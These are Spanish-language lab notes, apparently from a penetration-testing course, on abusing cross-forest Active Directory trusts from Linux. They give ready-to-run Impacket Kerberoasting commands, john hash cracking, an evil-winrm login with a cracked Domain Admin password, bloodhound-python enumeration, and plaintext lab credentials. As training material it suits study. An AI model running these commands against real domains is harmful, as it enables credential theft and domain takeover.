Attacking Domain Trusts — Cross-Forest Trust Abuse (Linux)

🌐 Contexto

Desde Linux también podemos abusar de trusts cross-forest para enumerar SPNs, realizar Kerberoasting, encontrar miembros de grupos extranjeros y analizar relaciones entre dominios usando bloodhound-python e Impacket.


🔥 1. Cross-Forest Kerberoasting con Impacket

Para Kerberoasting entre bosques, usamos GetUserSPNs.py con -target-domain.
Requiere credenciales válidas en el dominio remoto.

🔍 Enumerar SPNs en el bosque FREIGHTLOGISTICS.LOCAL

GetUserSPNs.py -target-domain FREIGHTLOGISTICS.LOCAL INLANEFREIGHT.LOCAL/wley

transporter@4
Salida relevante:

{E0D9E5DD-2915-4A6C-B286-651035AC1CBE}.png

Tip

El usuario mssqlsvc y sapsso es Domain Admin en el bosque externo → Kerberoasting exitoso = control total.


🎯 2. Solicitar el TGS (hash) para crackear

GetUserSPNs.py -request -target-domain FREIGHTLOGISTICS.LOCAL INLANEFREIGHT.LOCAL/wley

Salida:
{92F5B4DC-0EBD-4EFA-83AB-5D765C54B1C0}.png
Para crackear

john --format=krb5tgs sapsso.hash --wordlist=/usr/share/wordlists/rockyou.txt
john --show sapsso.hash

Pasted image 20251121101557.png

Advertencia

El hash se crackea offline (Hashcat modo 13100) → acceso directo como Domain Admin del dominio externo.

Loguearse

evil-winrm -i ACADEMY-EA-DC03.FREIGHTLOGISTICS.LOCAL -u sapsso -p pabloPICASSO
Tip

Si el hash crackea, prueba la contraseña en:
🟢 Dominio actual
🟢 Otros service accounts
🟢 Otros dominios → password reuse es muy común.


🔎 3. Buscar membresía extranjera con Bloodhound-Python

A veces, usuarios del dominio A aparecen como miembros de grupos en dominio B mediante un bidirectional forest trust.

Info

Solo los Domain Local Groups aceptan usuarios de fuera del forest.
Esto puede otorgar privilegios administrativos entre bosques.

🛠️ Configurar resolv.conf para apuntar al DC

Si tu Linux no usa DNS interno:

$ cat /etc/resolv.conf

#nameserver 1.1.1.1
#nameserver 8.8.8.8
domain INLANEFREIGHT.LOCAL
nameserver 172.16.5.5

🧪 4. Ejecutar bloodhound-python contra INLANEFREIGHT.LOCAL

bloodhound-python -d INLANEFREIGHT.LOCAL -dc ACADEMY-EA-DC01 -c All -u forend -p Klmcargo2

Salida parcial:

INFO: Found 2 domains in the forest
INFO: Found 559 computers
INFO: Found 2950 users
INFO: Found 183 groups
INFO: Found 2 trusts

Comprimir datos para BloodHound GUI

zip -r ilfreight_bh.zip *.json

🧭 5. Ejecutar bloodhound-python contra FREIGHTLOGISTICS.LOCAL

Modificar resolv.conf:

cat /etc/resolv.conf
domain FREIGHTLOGISTICS.LOCAL
nameserver 172.16.5.238

Ejecutar:

bloodhound-python -d FREIGHTLOGISTICS.LOCAL -dc ACADEMY-EA-DC03.FREIGHTLOGISTICS.LOCAL -c All -u forend@inlanefreight.local -p Klmcargo2

Salida parcial:

INFO: Found 1 domains
INFO: Found 5 computers
INFO: Found 9 users
INFO: Found 1 trust
Tip

Sube ambos zips a BloodHound GUI y usa
Analysis → Users with Foreign Domain Group Membership


🕸️ 6. Visualización: Foreign Group Membership

flowchart LR
    A[INLANEFREIGHT.LOCAL Administrator] -->|MemberOf| B[Administrators Group<br>FREIGHTLOGISTICS.LOCAL]
    B --> C[Full Admin Rights]
Success

Se confirma: Administrator@INLANEFREIGHT.LOCAL tiene permisos administrativos en FREIGHTLOGISTICS.LOCAL.


🧠 7. Conclusiones finales

Resumen

Los ataques desde Linux permiten:

  • 🔥 Kerberoasting cross-forest (Impacket)

  • 👥 Encontrar miembros extranjeros (bloodhound-python)

  • 🧩 Abusar trusts para escalar privilegios

  • 🔄 Encontrar password reuse entre bosques

  • 🛠️ Combinar datos multi-forest en BloodHound

Tip

Siempre analiza ambos bosques:
A → B y B → A, porque los administradores suelen repetir contraseñas y asignar grupos erróneamente.